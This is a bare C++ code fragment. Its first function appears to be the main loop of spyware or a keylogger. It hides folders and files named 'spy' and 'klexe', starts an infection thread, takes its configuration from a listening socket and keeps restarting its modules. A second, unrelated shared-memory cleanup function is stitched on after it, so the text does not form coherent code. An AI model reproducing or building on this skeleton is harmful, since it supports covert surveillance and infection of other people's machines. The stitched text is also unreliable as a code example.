void main(void) { control *B = new control, C, X; ofstream out; pthread_t ModuleStarter, ListenSocket, Infection; CreateHiddenFolders(); HideFile(library); HideFile(spy); HideFile(klexe); InitControl(C); Copy(X, C); out.open("PID", ios::out); out << GetCurrentProcessId(); out.close(); out.clear(); pthread_create(&Infection, NULL, InfectionProc, NULL); OutTextWithTime(logpath, "[Begin] Threads were started in ", &C, out); do { pthread_create(&ModuleStarter, NULL, Start, (void*)&X); pthread_join(ModuleStarter, NULL); pthread_create(&ListenSocket, NULL, ListenSocketProc, (void*)&C); pthread_join(ListenSocket, (void**)&B); if (B == NULL) { OutTextWithTime(logpath, "[Error] Configuration file Config.ksb is not found or corrupted! Using last successfull configuration! Time: ", &C, out); B = new control; do { pthread_create(&ListenSocket, NULL, ListenSocketProc, (void*)&C); pthread_join(ListenSocket, (void**)&B); } while (B == NULL); OutTextWithTime(logpath, "[Fixed] It is OK now. Time: ", NULL, out); } Copy(C, B); Copy(X, C); KillModules(&X); OutTextWithTime(logpath, "[Restart] Threads were restarted in ", &C, out); } while (C.stop == true); OutTextWithTime(logpath, "[Stop] Threads were stopped in ", NULL, out); DeleteFile("PID"); }
void SHM_Destroy ( void ) { if(errorstate) return; KillModules(); // get rid of all the locks CloseHandle(DFSVMutex); for(int i=0; i < SHM_MAX_CLIENTS; i++) { CloseHandle(DFCLSuspendMutex[i]); CloseHandle(DFCLMutex[i]); } }